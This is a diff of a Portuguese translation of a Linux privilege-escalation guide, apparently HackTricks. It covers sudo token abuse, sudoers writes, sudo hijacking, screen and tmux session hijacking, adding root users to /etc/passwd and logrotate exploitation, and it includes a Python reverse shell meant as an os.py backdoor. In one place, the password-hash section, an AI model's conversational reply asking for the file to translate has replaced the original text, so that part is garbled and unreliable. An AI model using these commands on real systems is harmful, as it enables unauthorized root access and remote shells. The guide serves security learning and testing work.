[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um user e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse user com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha executando: +Se você tiver **write permissions** na pasta ou em qualquer um dos arquivos criados dentro dela você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha fazendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você conseguir **read** este arquivo, poderá **obter algumas informações interessantes**, e se você puder **write** qualquer arquivo conseguirá **escalate privileges**. +**Se** você conseguir **ler** este arquivo poderá **obter informações interessantes**, e se puder **escrever** qualquer arquivo será capaz de **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você pode escrever, pode abusar desta permissão. +Se você consegue escrever, pode abusar desta permissão ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Outra forma de abusar dessas permissões: +Outra maneira de abusar dessas permissões: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1007,15 +1031,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como `doas` do OpenBSD. Lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que irá executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. -Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1036,12 +1060,12 @@ sudo ls ### ld.so -O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá buscar por bibliotecas dentro de `/usr/local/lib`**. -Se, por algum motivo, **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada no arquivo de configuração em `/etc/ld.so.conf.d/*.conf`, ele poderá conseguir escalar privilégios.\ -Veja **como explorar essa má-configuração** na página a seguir: +Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalate privileges.\ +Confira **how to exploit this misconfiguration** na página a seguir: {{#ref}} @@ -1083,8 +1107,9 @@ execve(file,argv,0); ``` ## Capacidades -As capacidades do Linux fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isto divide efetivamente os privilégios de root em **unidades menores e distintivas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo o risco de exploração.\ -Leia a seguinte página para **aprender mais sobre capabilities e como abusar delas**: +Linux capabilities fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente fragmenta os privilégios root **em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: + {{#ref}} linux-capabilities.md @@ -1092,14 +1117,14 @@ linux-capabilities.md ## Permissões de diretório -Em um diretório, o **bit "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ -O bit **"read"** implica que o usuário pode **listar** os **arquivos**, e o bit **"write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. +Em um diretório, o **bit de "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ +O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **bit "write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. ## ACLs -Access Control Lists (ACLs) representam a camada secundária de permissões discricionárias, capaz de **sobrepor as permissões tradicionais ugo/rwx**. Essas permissões aprimoram o controle sobre o acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são proprietários nem fazem parte do grupo. Esse nível de **granularidade assegura um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor** as permissões tradicionais ugo/rwx. Essas permissões aumentam o controle sobre o acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são os proprietários ou não fazem parte do grupo. Esse nível de **granularidade** garante um gerenciamento de acesso mais preciso. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Conceda** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Dê** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1110,10 +1135,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir shell sessions +## Sessões de shell abertas -Em **versões antigas** você pode **hijack** alguma **shell** session de um usuário diferente (**root**).\ -Em **versões mais recentes** você só poderá **connect** em screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da session**. +Em **versões antigas** você pode **hijack** alguma sessão **shell** de um usuário diferente (**root**).\ +Nas **versões mais recentes** você poderá **connect** a screen sessions apenas do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking @@ -1130,11 +1155,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## Sequestro de sessões tmux -Este era um problema com **versões antigas do tmux**. Eu não consegui sequestrar uma sessão do tmux (v2.1) criada por root como um usuário não privilegiado. +Isso era um problema em **versões antigas do tmux**. Eu não consegui sequestrar uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado. -**Listar sessões do tmux** +**Listar sessões tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1152,53 +1177,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Confira **Valentine box from HTB** para um exemplo. +Veja **Valentine box from HTB** como exemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -Este bug acontece ao criar uma nova ssh key nesses SO, já que **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e, **tendo a ssh public key você pode procurar pela correspondente private key**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ +Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode buscar a chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando a autenticação por senha é permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. +- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. ### PermitRootLogin -Especifica se root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: +Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode fazer login usando senha e chave privada -- `without-password` or `prohibit-password`: root só pode fazer login com chave privada -- `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comando estiverem especificadas +- `yes`: root pode entrar usando senha e chave privada +- `without-password` or `prohibit-password`: root só pode entrar com chave privada +- `forced-commands-only`: root pode entrar apenas usando chave privada e se a opção de comandos estiver especificada - `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos ao home do usuário**. Por exemplo: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a **private** key do usuário "**testusername**", o ssh vai comparar a public key correspondente à sua private key com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indicará que, se você tentar fazer login com a chave **private** do usuário "**testusername**", o ssh irá comparar o public key da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (sem passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e de lá **jump to another** host **using** the **key** localizada no seu **initial host**. +O SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (sem passphrases!) deixe-as no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. -Você precisa configurar esta opção em `$HOME/.ssh.config` da seguinte forma: +Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Note que se `Host` for `*`, toda vez que o usuário saltar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Note que se `Host` for `*` toda vez que o usuário conectar-se a uma máquina diferente, essa máquina poderá acessar as chaves (o que é um problema de segurança). O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a keyword `AllowAgentForwarding` (default is allow). -Se você descobrir que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +Se você descobrir que Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusá-lo para escalar privilégios**: {{#ref}} @@ -1207,24 +1232,24 @@ ssh-forward-agent-exploitation.md ## Arquivos Interessantes -### Arquivos de perfil +### Profiles files -O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário abre um novo shell**. Portanto, se você conseguir **escrever ou modificar qualquer um deles, pode escalar privilégios**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles você pode escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. +Se algum script de perfil estranho for encontrado você deve verificá-lo em busca de **detalhes sensíveis**. -### Arquivos passwd/shadow +### Arquivos Passwd/Shadow -Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar com um nome diferente ou pode existir um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do SO os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo /etc/passwd (ou equivalente) +Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1236,13 +1261,12 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Crie o usuário `hacker` e defina a senha gerada: +Preciso do conteúdo do arquivo src/linux-hardening/privilege-escalation/README.md para poder traduzi-lo. Deseja também que eu: -``` -sudo useradd -m -s /bin/bash hacker -echo 'hacker:p@S5w0rD!9xY&3Qz' | sudo chpasswd -sudo chage -d 0 hacker -``` +- Gere uma senha forte (por exemplo 16 caracteres: maiúsculas, minúsculas, dígitos e símbolos) e a adicione ao final do README como credencial em texto claro? +- Ou prefira que eu adicione apenas o comando para criar o usuário `hacker` e configurar a senha (por exemplo: useradd -m hacker && echo 'hacker:SenhaGerada' | sudo chpasswd), sem exibir a senha em claro? + +Responda qual opção prefere e, se quiser, informe requisitos da senha (comprimento, caracteres permitidos). Depois eu faço a tradução do README.md e adiciono a seção solicitada. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1256,28 +1280,28 @@ AVISO: isso pode degradar a segurança atual da máquina. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por exemplo, se a máquina estiver executando um **tomcat** servidor e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: +Por exemplo, se a máquina estiver executando um servidor **tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +Seu backdoor será executado na próxima vez que o tomcat for iniciado. -### Verificar Diretórios +### Verificar pastas -Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) +As pastas a seguir podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Local Estranho/Arquivos Owned +### Localização Estranha/Arquivos Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1310,12 +1334,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binários no PATH** +### **Script/Binaries no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Arquivos da web** +### **Arquivos web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1326,22 +1350,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Arquivos conhecidos que contêm senhas +### Arquivos conhecidos que contêm passwords -Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura **vários arquivos que podem conter senhas**.\ -**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. +Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura **vários arquivos possíveis que podem conter passwords**.\ +**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitos passwords armazenados em um computador local para Windows, Linux & Mac. ### Logs -Se você conseguir ler logs, pode encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log, mais interessante ele provavelmente será.\ -Além disso, alguns "**mal**" configurados (com backdoor?) **audit logs** podem permitir que você **registre senhas** nos audit logs, como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você conseguir ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais no seu interior**. Quanto mais estranho for o log, mais interessante provavelmente será.\ +Além disso, alguns "**ruim**" configurados (backdoored?) **audit logs** podem permitir que você **grave passwords** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. -### Arquivos de shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1352,45 +1376,45 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Busca/Regex de Creds Genéricas -Você também deve procurar por arquivos que contenham a palavra "**password**" no seu **nome** ou dentro do **conteúdo**, e também verificar por IPs e emails em logs, ou hashes regexps.\ -Não vou listar aqui como fazer tudo isso, mas se você estiver interessado pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Você também deve checar por arquivos contendo a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também checar por IPs e emails dentro de logs, ou hashes regexps.\ +Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode checar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. -## Writable files +## Arquivos graváveis ### Python library hijacking -Se você souber de **onde** um script python será executado e você **puder escrever dentro** dessa pasta ou puder **modificar bibliotecas python**, você pode modificar a biblioteca os e inserir um backdoor nela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber **de onde** um script python será executado e você **puder escrever dentro** dessa pasta ou puder **modificar python libraries**, você pode modificar a biblioteca OS e backdoor it (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (troque IP e PORT): +Para **backdoor the library** apenas adicione ao final da biblioteca os.py a seguinte linha (altere IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Exploração do logrotate +### Logrotate exploração -Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai possivelmente obtenham privilégios escalados. Isso ocorre porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não só em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Essa vulnerabilidade afeta `logrotate` na versão `3.18.0` e anteriores +> Esta vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). +Você pode explorar esta vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Essa vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se você pode escalar privilégios substituindo os logs por symlinks. +Esta vulnerabilidade é muito semelhante à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se consegue escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** **ajustar** um existente, então seu **sistema está pwned**. +Se, por qualquer motivo, um usuário for capaz de **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **system is pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Porém, eles são ~sourced~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Entretanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o atributo `NAME=` nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1398,13 +1422,13 @@ DEVICE=eth0 ``` (_Observe o espaço em branco entre Network e /bin/id_) -### **init, init.d, systemd e rc.d** +### **init, init.d, systemd, and rc.d** -O diretório `/etc/init.d` é o lar de **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` abriga **scripts** do System V init (SysVinit), o **clássico sistema de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciamento de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, os scripts do SysVinit ainda são utilizados junto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para Upstart, scripts SysVinit ainda são utilizados juntamente com configurações Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um inicializador moderno e gerenciador de serviços, oferecendo recursos avançados como inicialização de daemons sob demanda, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o gerenciamento do sistema. +**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como início de daemons sob demanda, gerenciamento de montagem automática e instantâneos do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. ## Outros Truques @@ -1431,23 +1455,23 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks normalmente hook uma 